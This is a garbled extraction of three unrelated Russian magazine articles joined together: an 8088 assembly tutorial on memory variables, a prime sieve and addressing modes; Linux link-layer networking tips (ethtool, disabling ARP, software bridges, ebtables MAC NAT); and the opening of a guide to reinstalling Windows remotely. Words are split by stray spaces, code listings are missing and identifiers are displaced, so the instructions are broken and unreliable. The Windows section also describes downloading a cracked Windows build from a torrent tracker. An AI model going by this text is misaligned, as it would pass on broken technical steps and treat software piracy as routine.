А вот с памятью у тебя могут воз никнуть проб лемы. Тут есть
под водные  кам ни.  Читай  даль ше,  и  ты  узна ешь,  как  мож но
раз мещать перемен ные и как нель зя, какие быва ют режимы
адре сации и как это зна ние поможет тебе кодить на ассем‐ 
бле ре более эффектив но.

Пос ле пер вых двух  уро ков  ты  уме ешь поль зовать ся 16‐бит ными регис тра ми
про цес сора  и  их  8‐бит ными  половин ками.  Это  хорошее  начало.  Но!  Прог‐ 
рамми руя на ассем бле ре, очень час то стал кива ешь ся с тем, что нуж но нам‐ 
ного  боль ше  перемен ных,  чем  может  помес тить ся  в  регис тры  про цес сора.
Часть  перемен ных  при ходит ся  хра нить  в  памяти.  Сей час  рас ска жу,  как  это
делать. На при мере прог раммы, которая ищет прос тые чис ла.

Предыдущие статьи

• Пог ружение в assembler
• Де лаем пер вые шаги в осво ении асма
• Ос ваиваем ариф метичес кие инс трук ции

ГДЕ ДАННЫЕ ХРАНИТЬ МОЖНО, А ГДЕ НЕЛЬЗЯ
Пе ред  тем  как раз мещать  в  памяти перемен ные,  раз берись,  куда их мож но
всо вывать, а куда нель зя. Потому что здесь ассем блер тебя никак не кон тро‐ 
лиру ет. Ты волен раз мещать перемен ные всю ду, где толь ко захочешь. Ассем‐ 
блер  все  без ропот но  ском пилиру ет,  а  про цес сор  все  при леж но  выпол нит.
Вот  толь ко  ответс твен ности  за  пос ледс твия  они  не  несут.  Вся  ответс твен‐ 
ность целиком лежит  на  тебе. Но  ты не пугай ся! Прос то  пос тарай ся  запом‐ 
нить раз и нав сегда два спо соба, которы ми раз мещать перемен ные нель зя,
и три — которы ми мож но. Сна чала — как нель зя.
1. Из  двух  пре дыду щих  уро ков  ты  уже  зна ешь,  что  пер вые    бай тов
любой  прог раммы,  ском пилиро ван ной  в  файл  с  рас ширени ем  ,
зарезер вирова ны  опе раци онной  сис темой.  Всо вывать  сюда  свои
перемен ные точ но не сто ит.

0x100

.com

2. Про цес сор 8088 не отли чает дан ные от кода. Если ты напишешь на ассем‐ 
бле ре  вот  такой  код,  про цес сор  радос тно  выпол нит  не  толь ко  строч ки
с инс трук циями, но и строч ки с дан ными — ничуть не пережи вая о том, что
от выпол нения стро чек с дан ными получа ется в луч шем слу чае абра кадаб‐ 
ра, а в худ шем прог рамма рушит ся или зас тре вает в бес конеч ном цик ле.

Ни ког да  так  не  делай!  Ког да  резер виру ешь  какую‐то  область  памяти
под  перемен ную,  обя затель но  прос леди,  что бы  эта  область  памяти  была
за пре дела ми потока выпол нения. Где же такую область най ти? Ведь ассем‐ 
блер ные  инс трук ции,  по  которым  про цес сор  идет,  теоре тичес ки  могут  раз‐ 
мещать ся в любой ячей ке памяти.

Есть по край ней мере три учас тка, куда про цес сор никог да не заг лядыва‐ 
ет. Вот там и хра ни свои перемен ные:

пос ле инс трук ции  , которую мы ста вим в кон це прог раммы, что‐ 
бы вер нуть ся в коман дную стро ку ОС;

• int 0x20

сра зу пос ле безус ловно го перехо да  ;• jmp

сра зу пос ле инс трук ции воз вра та  .• ret

ПИШЕМ ПОДПРОГРАММУ: ПЕЧАТЬ ЧИСЛА НА ЭКРАНЕ
В начале    мы  написа ли  биб лиоте ку 

  с  дву мя  фун кци ями:    (выводит  бук ву  на  экран)
и   (счи тыва ет сим вол с кла виату ры). Сей час для вывода прос‐ 
тых  чисел  на  экран  нам  нуж на  более  прод винутая фун кция  вывода,  которая
выводит  не  одну  бук ву  или  циф ру,  а  пол ноцен ное  чис ло.  Давай  напишем
такую фун кцию (добавь ее в конец фай ла  ).

статьи об  ариф метичес ких фун кци ях li‐
brary.asm display_letter
read_keyboard

library.asm

Как она работа ет? Берет из   чис ло, которое надо вывес ти на экран. Рекур‐ 
сивно делит его на 10. Пос ле  каж дого деления сох раня ет оста ток на сте ке.
Доделив шись  до  нуля,  начина ет  выходить  из  рекур сии.  Перед  каж дым
выходом сни мает со сте ка оче ред ной оста ток и выводит его на экран. Уло вил
мысль?

AX

На вся кий слу чай, если ты с ходу не понял, как работа ет  ,
вот тебе три при мера.

display_number

До пус тим,  . Тог да пос ле деления на 10 в   будет 0, и поэто му 
  не  зай дет  в  рекур сию.  Прос то  выведет  оста ток,  то  есть  чет‐ 

верку, и всё.

AX = 4 AX dis‐
play_number

Ес ли  , то пос ле деления на 10 в   будет еди ница. И поэто му под‐ 
прог рамма залезет в рекур сию. Покажет там еди ницу, затем вый дет из внут‐ 
ренне го вызова в основной и там напеча тает циф ру 5.

AX = 15 AX

Ес ли  ты  так  до  кон ца и  не  понял,  то  сде лай  вот  что. Помес ти  в    чис ло
поболь ше, ска жем  , и порабо тай в роли про цес сора: прой ди мыс ленно
по  всем  стро кам  прог раммы.  При  этом  отме чай  в  блок ноте  —  в  обыч ном
бумаж ном блок ноте, не на компь юте ре — каж дый свой шаг. Ког да в оче ред‐ 
ной  раз  заходишь  рекур сивно  в  ,  отсту пай  в  блок ноте
на один сим вол впра во от начала стро ки. А ког да выходишь из рекур сии (инс‐ 
трук ция  ), отсту пай на один сим вол вле во.

AX
4527

display_number

ret
И еще: имей в виду, что пос ле того, как   выпол нится, в 

уже не будет того зна чения, которое ты туда помес тил перед тем, как выз вать
под прог рамму.

display_number AX

ПИШЕМ ПРОГРАММУ ДЛЯ ПОИСКА ПРОСТЫХ ЧИСЕЛ
Два пред варитель ных шага сде ланы:  ты уяс нил,  где перемен ные раз мещать
мож но, а где нель зя, и ты написал фун кцию печати десятич ного чис ла. Теперь
давай  пощупа ем  всю  эту  теорию  руками.  Напишем  с  тобой  прог рамму,
которая ищет прос тые чис ла.

На пом ню, прос тые чис ла — это такие, которые делят ся толь ко на еди ницу
и на себя. Если у них есть дру гие делите ли, то такие чис ла называ ются сос‐ 
тавны ми. Для  поис ка  прос тых  чисел  сущес тву ет  целая  куча  алго рит мов. Мы
вос поль зуем ся одним из них — решетом Эра тос фена. В чем суть алго рит ма?
Он  пос тепен но  отфиль тро выва ет  все  чис ла  за  исклю чени ем  прос тых.
Начиная с чис ла   и закан чивая  . Чис ло   зада ешь ты. Как толь ко алго ритм
натыка ется  на  оче ред ное  прос тое  чис ло  ,  он  про бега ет  по  все му  спис ку
до  кон ца  (до  )  и  вычер кива ет  из  него  все  чис ла,  которые  делят ся  на  .
В  Википе дии  есть  .  Пос мотри  ее,  и  сра зу
пой мешь, как работа ет решето Эра тос фена.

2 n n
a

n a
наг лядная  ани миро ван ная  гиф ка

Что здесь про исхо дит?
1. На чина ем с двой ки.
2. Смот рим:  оче ред ное  чис ло    помече но  как  сос тавное?  Да  —  идем
на шаг 5.

a

3. Ес ли не помече но (не вычер кну то), зна чит,   — прос тое.a

4. Про бега ем  по  все му  спис ку  и  вычер кива ем  все  чис ла,  которые  делят ся
на  .a

5. Ин кре мен тиру ем текущее чис ло.
6. Пов торя ем шаги 2–5, пока не дос тигли  .n

Ка ким обра зом будем бегать по спис ку и вычер кивать отту да сос тавные чис‐ 
ла?  Сна чала  нам  этот  спи сок  надо  соз дать!  При чем  в  регис тры  его  точ но
втис нуть не получит ся. Нам пот ребу ется битовый мас сив раз мером  . По биту
на  каж дое  чис ло  от    до    (или  впо лови ну  мень ше,  если  мы  опти мизи руем
алго ритм  так,  что бы  он  не  видел  чет ные  чис ла;  это  ты  можешь  сде лать
в качес тве домаш него задания). Соот ветс твен но, чем боль ше  , до которо го
ты хочешь най ти прос тое чис ло, тем вмес титель ней дол жен быть мас сив.

n
2 n

n

Все понят но? Давай закодим!

Реализация
Сна чала  соз даем  битовый  мас сив  и  запол няем  его  нулями.  Мы  помеща ем
мас сив по адре су 0x8000. Этот про изволь но выб ранный адрес не  кон флик‐ 
тует с нашим кодом, не пересе кает ся с ним.

Об рати вни мание на  квад ратные скоб ки вот  в  этой строч ке:  .
Что  они  зна чат?  Так мы  про сим  про цес сор:  а  ско пируй‐ка  то  зна чение,  что
хра нит ся  в  регис тре  ,  в  ячей ку  памяти,  на  которую  ука зыва ет  регистр  .
И уж точ но это не зна чит, что мы копиру ем зна чение регис тра   в регистр  .

mov [bx], al

AL BX
AL BX

Идем даль ше. Если оче ред ное чис ло прос тое, выводим его на экран.

Что  тут  дела ем?  Начина ем  с  двой ки  (записы ваем  ее  ).  Затем  заходим
в  цикл  и  помеща ем  в    ука затель  на  ту  ячей ку  битово го  мас сива,  которая
соот ветс тву ет чис лу из регис тра  . Затем смот рим, записан ли там нолик (ты
же пом нишь, мы сна чала ини циали зиро вали  весь мас сив нулями).  Если  там
не  ноль,  а  еди ница,  зна чит,  мы  на  какой‐то  из  пре дыду щих  ите раций  уже
помети ли это чис ло как сос тавное. В таком слу чае пры гаем на 

.  А  если  все‐таки  ноль,  вызыва ем  ,  что бы  показать
най ден ное прос тое чис ло.

AX
BX

AX

@@already_‐
marked display_number

Об рати вни мание на пре фикс   в инс трук ции  . Он говорит ассем‐ 
бле ру о том, что мы срав нива ем бай ты (8‐бит ные зна чения), а не сло ва (16‐
бит ные зна чения).

byte cmp

Здесь,  как  и  в  пре дыду щем  кус ке  кода,  сна чала  помеща ем  в    ука затель
на ту ячей ку битово го мас сива, которая соот ветс тву ет чис лу из регис тра  .
Но  толь ко  пер воначаль но  выпол няем  инс трук цию    дваж ды.  Зачем?  Нам
сей час нуж но не само прос тое чис ло, а те чис ла, которые делят ся на него.

BX
AX

add

Пе ред тем как пометить оче ред ное чис ло как сос тавное, про веря ем, что‐ 
бы зна чение регис тра   не выходи ло за пре делы таб лицы: 

  (CoMParsion).  Инс трук ция    говорит  про цес сору:  прыг ни,  если флаг
перено са не уста нов лен в еди ницу (Jump if Not Carry). Ну или если по‐рус ски:
прыг ни, если левый опе ранд инс трук ции   боль ше пра вого или равен ему.

BX table + table_‐
size jnc

cmp
Ес ли зна чение регис тра   все еще находит ся в пре делах битово го мас‐ 

сива,  записы ваем  еди нич ку  в  ту  ячей ку  памяти,  на  которую  ука зыва ет  .
Обра ти вни мание: квад ратные скоб ки в строч ке   озна чают,
что мы записы ваем еди ницу по адре су,  на  который  ука зыва ет  . Мы  здесь
не прис ваиваем еди ницу регис тру  .

BX
BX

mov byte [bx], 1
BX

BX
И мы сно ва исполь зуем пре фикс   (на этот раз в инс трук ции  ). Тем

самым  говорим  ассем бле ру,  что  прис ваиваем  байт  (8  бит),  а  не  сло во
(16 бит).

byte mov

Даль ше перехо дим к про вер ке сле дующе го чис ла.

Что  тут  дела ем? Если    не  дос тиг    (пос ледне го  чис ла,  которое  нас  инте‐ 
ресу ет), пры гаем на   и пов торя ем там все шаги алго рит ма.

AX n
@@next_number

Ос тался  пос ледний  штрих:  добавь  в  конец  прог раммы  строч ки  из  биб‐ 
лиоте ки  . Вот и всё!library.asm

Ес ли  ты  перепи сал  весь  код  пра виль но,  то,  ког да  запус тишь  прог рамму,
получишь  спи сок  прос тых  чисел.  Поэк спе римен тируй  с  прог раммой.  Под‐ 
став ляй раз ные чис ла в  , и ты уви дишь, как спи сок прос тых чисел
ста новит ся короче или длин нее.

table_size

И  вот  тебе  еще  домаш нее  задание:  изме ни  прог рамму  таким  обра зом,
что бы  меж ду  прос тыми  чис лами  вмес то  запятых  выводи лись  бай ты 
и    (это  зна чит,  что  тебе  надо  будет  добавить  допол нитель ный  вызов
для  ). Пос мотри, что про изой дет.

0x0D
0x0A
display_letter

РАЗБИРАЕМСЯ, КАКИЕ БЫВАЮТ РЕЖИМЫ АДРЕСАЦИИ
Мы уже мно го раз исполь зовали конс трук цию   в инс трук ции  ,  что бы
получить дос туп к адре су, который хра нит ся в  . В прин ципе, это го дос таточ‐ 
но,  что бы  соз давать  в  памяти  перемен ные  и  поль зовать ся  ими.  Ты можешь
писать что‐то вро де   /  , и будет тебе счастье.

[bx] mov
BX

mov [bx], al mov al, [bx]
Но  это  лишь  один  из  режимов  адре сации,  которые  есть  у  про цес‐ 

сора  8088.  Ког да  ты  раз бира ешь ся,  в  каких  слу чаях  какой  режим  луч ше
исполь зовать,  ты пишешь более эффектив ные прог раммы. Вот рас простра‐ 
нен ные  режимы  адре сации,  которые  мож но  исполь зовать  в    и  во  всех
ариф метичес ких инс трук циях.

mov

Та кие конс трук ции мож но писать и в качес тве левого опе ран да, и в качес тве
пра вого. Обра ти вни мание на сла гаемые   и  .   — это 8‐бит ное сме‐ 
щение в диапа зоне от –128 до 127.   — 16‐бит ное сме щение в диапа зоне
от 0 до 65 535.

d8 d16 d8
d16

И  в  чем  же  пре иму щес тво,  ког да  ты  зна ешь  не  один  режим  адре сации 
  а  мно го?  Смот ри.  Допус тим,  что бы  про читать  зна чение  из  ячей ки

памяти, где хра нит ся нуж ный эле мент мас сива, тебе необ ходимо сло жить два
регис тра.  Если  ты  кро ме    ничего  не  зна ешь,  тебе  при дет ся  сна чала
задей ство вать инс трук цию   и толь ко потом  .

( ),[bx]

[bx]
add mov

Но ког да ты зна ешь и дру гие режимы адре сации, то, ско рее все го, напишешь
по‐дру гому, луч ше.

ИНСТРУКЦИИ ПЕРЕХОДА
До сих пор мы исполь зовали толь ко пять инс трук ций безус ловно го и условно‐ 
го перехо да:  ,  ,  ,   и  . Но про цес сор 8088 под держи вает нам‐ 
ного боль ше инс трук ций перехо да.

jmp je jne jc jnc

Са мое  важ ное,  что  тебе  про  них  надо  пом нить,  —  что  у  инс трук ций
условно го перехо да дей ству ет огра ниче ние на дли ну прыж ка. Они могут пры‐ 
гать толь ко на 128 байт назад и толь ко на 127 байт впе ред. Но не пережи вай.
Тебе не при дет ся лихора доч но под счи тывать бай ты сво ей прог раммы. Если
какой‐то из условных перехо дов ока жет ся слиш ком длин ным, nasm сге нери‐ 
рует даль ний пры жок.

Вот спи сок инс трук ций условно го перехо да, которые под держи вает 8088.

Боль шинс тво из этих инс трук ций нап рямую соот носят ся с опе рато рами срав‐ 
нения в язы ках высоко го уров ня.

Кста ти,  имей  в  виду,  что  некото рые  инс трук ции  про цес сора,  нап ример
, никог да не перек люча ют никакие биты регис тра фла гов. Это зна чит, что

их мож но  встав лять меж ду  инс трук цией  срав нения  и  инс трук цией  перехо да.
Нап ример, писать что‐то вро де такого.

mov

Что  тут  дела ется?  Срав нива ем    с  семер кой.  Затем  помеща ем  в    зна‐ 
чение   — до того как сде лать джамп. Если  , заг ружа ем в BX зна‐ 
чение 0x7777.  Тех ничес ки  этот  кусок  кода работа ет мед леннее,  чем  тот,  что
ниже. Но зато он короче!

AX BX
0x2222 AX = 7

Что выб рать, ско рость или лаконич ность, решай сам.

ИТОГИ
Те перь ты уме ешь работать не толь ко с теми перемен ными, которые хра нят ся
в регис трах, но и с теми, которые хра нят ся в памяти. Ты зна ешь, какие быва ют
режимы адре сации, и понима ешь, как выбирать наибо лее под ходящий. Плюс
ты  поз накомил ся  с  целой  кучей  инс трук ций  условно го  перехо да.  С  таким
арсе налом  ты  уже  можешь  писать  на  ассем бле ре  доволь но‐таки  мощ ные
прог раммы!
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АДМИН

Яд ро  Linux  —  осно ва  боль шинс тва  прог рам мных  мар шру‐ 
тиза торов и фай рво лов, и неуди витель но — количес тво фун‐ 
кций  сетево го  уров ня  в  нем  огромно.  Тем  не  менее  ряд
полез ных  и  необыч ных фун кций  Linux  для  работы  с  каналь‐ 
ным  и физичес ким  уров нями  час то  оста ются  в  тени.  Давай
поп робу ем ком пенси ровать этот про бел.

ИСПОЛЬЗУЕМ ETHTOOL
Сна чала рас смот рим ути литу для обще ния с сетевы ми кар тами на самых низ‐ 
ких уров нях —  .ethtool

С  помощью  коман ды    мож но  прос мотреть  и  поменять  поч ти  все,  что
каса ется сетево го сте ка ядра, но, если речь идет об аппа рат ной час ти самой
кар ты, тут без ethtool не обой тись.

ip

Нап ример, все мы зна ем, что MAC‐адрес сетевой кар ты лег ко поменять.

 

 

 

 

 

 
    link/ether 00:08:a2:0a:52:cd brd ff:ff:ff:ff:ff:ff

$ ip link show eth0
2: eth0: <NO‐CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state 
DOWN mode DEFAULT group default qlen 1000

$ sudo ip link set dev eth0 address 00:aa:bb:cc:dd:ee

 

 
    link/ether 00:aa:bb:cc:dd:ee brd ff:ff:ff:ff:ff:ff

$ ip link show eth0
2: eth0: <NO‐CARRIER,BROADCAST,MULTICAST,UP> mtu 1500 qdisc mq state 
DOWN mode DEFAULT group default qlen 1000

С  точ ки  зре ния  ядра,  у  eth0  теперь  новый  адрес.  Ори гиналь ный  адрес
остался толь ко в про шив ке сетевой кар ты. В выводе   его не най ти, но 

 спо соб на заг лянуть глуб же.
ip eth‐

tool

 

 

 
Permanent address: 00:08:a2:0a:52:cd
$ ethtool ‐‐show‐permaddr eth0

Мно гие сетевые кар ты под держи вают аппа рат ное уско рение некото рых фун‐ 
кций,  нап ример  вычис ление  кон троль ных  сумм  пакетов  TCP  и  UDP.  Прос‐ 
мотреть  пол ный  спи сок  фун кций  и  их  сос тояние  мож но  коман дой 

 Обыч но все, что под держи вает ся,
вклю чено по умол чанию, но убе дить ся не будет лиш ним.

.ethtool ‐‐show‐features <interface>

Ес ли ты работа ешь без физичес кого дос тупа к обо рудо ванию, навер няка
тебе уже при ходи лось искать нуж ный порт. Тра дици онный метод — потушить
порт  ( )  и  поп росить  напар ника  пос‐ 
мотреть,  какой  из  пор тов  потух.  Но  в  ряде  слу чаев  най ти  физичес кое  рас‐ 
положе ние пор та мож но без ущер ба для тра фика с помощью коман ды 

.  Она  зас тавля ет  ука зан ную  кар ту  мор гать
све тоди одом, который отве чает за инди кацию up/down. Увы, работа ет не со
все ми моделя ми карт — пом ни, что быва ет и лож ноот рицатель ный резуль тат.

sudo ip link set <interface>  down

eth‐
tool  ‐‐identify  <interface>

«СКРЫТАЯ» ПРОВОДНАЯ СЕТЬ
ARP  —  фун дамен таль ный  про токол  сетей  Ethernet,  без  которо го  хос ты
не  смо гут  авто мати чес ки  най ти  друг  дру га  и  уста новить  соот ветс твие  IP‐
и MAC‐адре сов. Но что, если ты спе циаль но хочешь сде лать так, что бы сто‐ 
рон ний хост не смог под клю чить ся к тво ей сети?

Са мое  пра виль ное  решение  этой  задачи  —  про токол  ,  который
обес печива ет  нас тоящую  аутен тифика цию  кли ентов.  Дру гое,  тоже  впол не
пра виль ное  решение  —  нас тро ить  полити ку  дос тупа  на  ком мутато ре
по белому спис ку MAC‐адре сов.

802.1x

Аб сур дным  и  дос таточ но  неожи дан ным  для  условно го  про тив ника
решени ем  было  бы  отклю чить  ARP.  Как  ни  стран но,  в  Linux  это  воз можно:
к  при меру,  отклю чить  его  для  интерфей са  eth0  мож но  коман дой 

.
sudo  ip 

link set eth0 arp off
Как же хос ты най дут друг дру га без ARP? В Linux добавить записи в  таб‐ 

лицу  ARP мож но  вруч ную: 
.

ip neighbor add 10.0.0.1  lladdr  aa:bb:cc:
dd:ee:ff dev eth0

ПРОГРАММНЫЕ МОСТЫ В LINUX
В  тер миноло гии  Ethernet  «ком мутатор»  (switch)  и  «мост»  (bridge)  —
это синони мы. Тер мин switch при дума ли, что бы отли чать мно гопор товые ком‐ 
мутато ры  от  пер вых  двух порто вых  мос тов.  Прог рам мные  реали зации  ком‐ 
мутато ра Ethernet по тра диции называ ют мос тами, незави симо от чис ла пор‐ 
тов.

Вот  и  в  Linux  прог рам мный  ком мутатор  называ ется  мос том.  Про изво‐ 
дитель ность  таких  ком мутато ров  невысо ка  —  ни  о  каких  десяти  гигаби тах
речь не идет. Кро ме того, встро енная фун кци ональ ность ядра Linux для этой
цели дос таточ но огра ничен на по срав нению с новыми про екта ми вро де 

. Тем не менее в ряде слу чаев она может ока зать ся полез ной.
Open

vSwitch
Объ еди нять  два  физичес ких  сетевых  интерфей са  в  «тупой»  мост  име ет

смысл толь ко в качес тве вынуж денной меры, если на объ екте нет сво бод ных
пор тов  аппа рат ного  ком мутато ра,  но  есть  устрой ство  с  Linux  и  неис поль‐ 
зуемы ми сетевы ми кар тами. Осмыслен но при менять эту фичу сто ит в дру гих
нап равле ниях.

Во‐пер вых, сетевой интерфейс не обя зан быть физичес ким — это может
быть  и  тун нель.  Некото рые  при ложе ния  тре буют  обще го  широко веща тель‐ 
ного сег мента. Если тебе нуж но обес печить работу таких при ложе ний в уда‐ 
лен ной  сети  через  интернет,  ты  можешь  соеди нить  свои  сети  тун нелем,
который  спо собен  инкапсу лиро вать  кад ры  Ethernet.  О  нас трой ке  таких  тун‐ 
нелей  в  Linux  я  уже  писал  в  статье  «

»: это GRE, L2TPv3 и VXLAN (а так же
OpenVPN в режиме TAP и WireGuard).

Не извес тные  тун нели  Linux. Осва иваем
новые спо собы стро ить вир туаль ные сети

Вто рой  важ ный  момент  —  прог рам мный  мост  не  обя зан  быть  тупым.
В отли чие от боль шинс тва аппа рат ных ком мутато ров, Linux может выс тупать
в роли невиди мого на сетевом уров не проз рачно го фай рво ла.

Но для начала вспом ним, как дела ются мос ты.

Возводим мосты
Вер нее, не вспом ним, а научим ся это делать с помощью iproute2. Клас сичес‐ 
кая ути лита brctl уже дав но объ явле на уста рев шей, вмес те с ifconfig и про чими
коман дами  из  net‐tools,  и  дис три бути вы  Linux  начина ют  их  уда лять,  так  что
луч ше сра зу дей ство вать по‐новому.

Для при мера объ еди ним интерфей сы eth0 и eth1 в мост br0.

ip $ sudo  link add name br0 type bridge 
ip $ sudo  link set dev eth0 master br0 
ip $ sudo  link set dev eth1 master br0 

Уда лить  интерфейс  из  мос та  мож но  было  бы  коман дой 
.

ip  link  set  dev 
eth0 nomaster

Что в  iproute2 хорошо, так это уни фика ция раз ных команд. Ког да‐то стан‐ 
дар тным  спо собом  прос мотреть  информа цию  об  интерфей сах  мос та  была
коман да  .brctl show

 

 

 
bridge name bridge id            STP enabled interfaces 
br0         8000.0008a20a52cf    no          eth0 
                                             eth1

$ sudo brctl show br0

В  iproute2  на  сме ну  мно жес тву  осо бых  слу чаев  приш ла  общая  кон цепция
ведуще го интерфей са  (master) и ведомых  (slave). Прос мотреть все ведомые
интерфей сы  мож но  коман дой  .  Эта
коман да будет работать и для мос та, и для тран ка LACP, и для все го про чего,
что  под разуме вает  отно шения  ведущий  —  ведомый.  Единс твен ный  недос‐ 
таток — фор мат вывода не заточен под кон крет ный тип интерфей са.

ip  link  show  master  <interface>

 

 

 
 

$ ip ‐‐brief link show master br0
eth0  UP  9a:a3:32:c1:d6:8b  <BROADCAST,MULTICAST,UP,LOWER_UP>
eth2  UP  00:08:a2:0a:52:cf  <BROADCAST,MULTICAST,UP,LOWER_UP>

Делаем прозрачный файрвол
Преж де  все го  нуж но  убе дить ся,  что  твое  ядро  не  соб рано  с 

.  Затем —  про верить,  что  уста нов лены  в  еди ницу
сле дующие  опции  sysctl:  , 

, 
.

CON‐
FIG_BRIDGE_NETFILTER=n

net.bridge.bridge‐nf‐call‐iptables net.
bridge.bridge‐nf‐call‐ip6tables net.bridge.bridge‐nf‐call‐arpta‐
bles

А теперь хорошая новость: боль ше ничего осо бен ного делать не пот ребу‐ 
ется. Если в ядре есть нуж ный модуль и его работа не заб локиро вана опци‐ 
ями  sysctl,  то  все  пра вила  xtables  авто мати чес ки  при меня ются  не  толь ко
к мар шру тизи руемо му, но и к ком мутиру емо му тра фику. Для про вер ки мож но
заб локиро вать поль зовате лям мос та  ICMP: 

.
sudo iptables ‐I FORWARD ‐i 

br0 ‐p icmp ‐j DROP

ПОДМЕНЯЕМ MAC ПРОХОДЯЩЕМУ ТРАФИКУ
Па кет  ebtables,  который  пре дос тавля ет  фай рвол  каналь ного  уров ня,  сам
по себе уже экзо тика. С его помощью мож но реали зовать полити ку дос тупа
кли ентов к ком мутато ру, если ты вдруг решил сде лать из машины с Linux пол‐ 
ноцен ный управля емый ком мутатор, нес мотря на всю неп рактич ность это го.
В  осталь ных  слу чаях  филь тра ция  тра фика  на  сетевом  уров не  реша ет  все
прак тичес кие задачи.

Но  однажды  мне  пот ребова лась  сов сем  уж  экзо тичес кая  фун кция  и  без
того  экзо тичес кого  пакета.  Как  ни  стран но,  ebtables  под держи вает  NAT
каналь ного уров ня — тран сля цию MAC‐адре сов источни ка и наз начения.

Си туация была сле дующая: мой кол лега хотел отпра вить отзерка лиро ван‐ 
ный  тра фик  с  пор та  ком мутато ра  в  локаль ный  про цесс  для  про веде ния
некото рых  тес тов.  Пос коль ку  тра фик  при ходил  с  чужим  MAC,  ядро  никог да
не  ста ло  бы  его  вос при нимать  как  свой.  Тут  и  при годи лась,  казалось  бы,
абсур дная воз можность.

 nat $ sudo ebtables ‐t ‐I PREROUTING ‐i eth0 ‐j dnat ‐‐to‐destination
aa:bb:cc:dd:ee:ff ‐‐dnat‐target ACCEPT 

Пос ле это го оста валось толь ко заменить IP локаль ным с помощью обыч ного
NAT.

ЗАКЛЮЧЕНИЕ
Воз можнос ти Linux откры вают боль шой прос тор для самых изощ ренных кон‐ 
фигура ций  на  всех  уров нях  модели OSI.  Если  вни матель но  читать  докумен‐ 
тацию, там, как пра вило, мож но най ти что‐то на любой, даже самый необыч‐ 
ный слу чай.
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АДМИН

Уда лен ка  —  тренд  это го  года.  Ока залось,
что  мно гие  вещи  мож но  не  прос то  делать
по  сети,  а  делать  луч ше,  чем  в  офи се.
Думаю,  пере уста нов ка  ОС  —  дос таточ но
стан дар тная  опе рация,  что бы  ее  мож но
было  перенес ти  на  уда лен ку.  И  сегод ня
на при мере Windows я покажу, как это дела‐ 
ется.

Как мы все не понас лышке зна ем, юзе ры час то что‐нибудь лома ют, а потом
при носят  комп  «тыж прог раммис ту»  с  объ ясне нием  «я  тут  что‐то  нажал(а),
и все исчезло». Ты повор чишь и полезешь за флеш кой со све жей вин дой.

Так  это  было  до  лета  2020  года,  ког да  вне зап но  налетев ший  вирус  все
поломал,  а  анти виру сы  не  помога ли.  Каран тин  добавил  новых  труд ностей
незадач ливым поль зовате лям, у которых ком пы от пос тоян ного сидения дома
реже  ломать ся  не  ста ли.  Толь ко  рань ше  все  проб лемы  решал  зна комый
айтиш ник  за  бутыл ку  пен ного  напит ка,  а  сей час  походы  могут  закон чить ся
штра фом или боль нич ной кой кой, так что компь ютер ная помощь (как и поч ти
все осталь ное) пере еха ла на уда лен ку.

И если очис тить комп от вирусов еще как‐то уда ется по сети, то пере уста‐ 
нов ка  ОС  обыч но  про водит ся  при  физичес ком  дос тупе.  Сегод ня  я  покажу
спо соб сде лать и эту про цеду ру пол ностью уда лен ной, без инс трук ций поль‐ 
зовате лю,  как  вхо дить  в  заг рузоч ное  меню  и  выбирать  заг рузку  с  флеш ки.
Бонусом компь ютер ный уме лец (ты) сэконо мит на тран спор те.

WARNING

Опи сан ные  в  статье  методы  могут  при вес ти
к необ ратимо му пов режде нию целевой сис темы.
Попыт ки  про ник новения  на  чужие машины  прес‐ 
леду ются  по  закону.  Редак ция  не  несет  ответс‐ 
твен ности  за  любые  пос ледс твия  исполь зования
информа ции из дан ной статьи.

ПОДГОТОВКА
Что бы пере уста новить вин ду, нам пот ребу ется собс твен но вин да в виде ISO‐
обра за,  прог раммы  WinNTSetup  и  Bootice,  уда лен ное  под клю чение,  пра ва
адми на и пря мые руки.

Об раз мож но ска чать с сай та Microsoft, но я вмес то это го зашел на извес‐ 
тный  рус ский  тор рент‐тре кер  и  ска чал  отту да  акту аль ную  сбор ку  Windows
10 2004 с вырезан ным хла мом.

Таб летку видишь? А она есть!

Ес ли совесть поз воля ет, ска чать образ мож но пря мо на компь ютер кли ента.
Но  мож но  нес коль ко  умень шить  объ ем  заг рузки  и  заод но  кас томизи ровать
сбор ку,  вытащив  из  ISO‐обра за  все го  один  файл  — 

  находя щий ся  в  пап ке    в  кор не  обра за
(при  желании  мож но  его  заод но  ).  Для  уста нов ки,  кро ме  него,
ничего  не  нуж но. Файл  может  иметь  нем ного  дру гие  име на,  но  спу тать  его
не  с  чем  —  раз мер  перева лива ет  за  гигабайт  и  занима ет  боль шую  часть
обра за.  Фор маты WIM  и  ESD —  это  прос то  раз ные  вер сии  фор мата.  Под‐ 
робнее об этом безоб разии   в «Хакере».

/ ,install.wim install.esd sources
поп равить

уже написа но
К  уда лен ному  соеди нению  осо бых  тре бова ний  не  предъ явля ется —  оно

дол жно  толь ко  под держи вать  гра фику,  то  есть  Telnet  и  ему  подоб ные
пережит ки прош лого  тут не  годят ся. И конеч но, на целевой машине дол жны
быть дос тупны пра ва адми нис тра тора. Хотя даже в 2020 году юзе ры так и не
научи лись  поль зовать ся  ком пом  без  прав  адми на,  так  что  по  это му  поводу
осо бо не вол нуй ся.

Как  ты  понял,  суть  это го  метода  в  том,  что  мы  не  выходим  из  уста нов‐ 
ленной  сис темы  вплоть  до  перезаг рузки  в  уже  уста нов ленную  новую.
Это  может  быть  единс твен ным  вари антом  в  слу чае  пере уста нов ки  сис темы
на  VPS,  ког да  физичес ки  прий ти  и  пере уста новить  поп росту  невоз можно,
а потеря уда лен ного дос тупа при ведет к потере самого сер вера. Собс твен‐ 
но, метод был при думан и реали зован для пере уста нов ки вин ды на сер вере,
к панели которо го был утра чен дос туп.

За осно ву была взя та прог рамма  . Ее задача — раз вернуть
сис тему из обра зов WIM/ESD в обход штат ного уста нов щика и WinPE. Естес‐ 
твен но,  прог рамма  уме ет не  толь ко при менять образ,  но и  тви кать  уста нав‐ 
лива емую сис тему и име ет мно жес тво нас тро ек. В общем, для нор маль ного
сисад мина или «тыж прог раммис та» эта ути лита обя затель на к ска чива нию.

WinNTSetup 4

Глав ное окно прог раммы WinNTSetup

При  пер вом  запус ке  тебе  пред ложат  ска чать  ком понен ты  Windows  ADK,
без  которых  прог рамма  не  будет  работать.  Они  занима ют  сов сем  нем ного
мес та, но, к сожале нию, в ком плек те с прог раммой не пос тавля ются. Прос то
имей это в виду.

Еще  нам  пот ребу ется    —  край не  полез ная  прог рамма  для  работы
с заг рузчи ками, которая, сре ди про чего, под держи вает редак тирова ние BCD
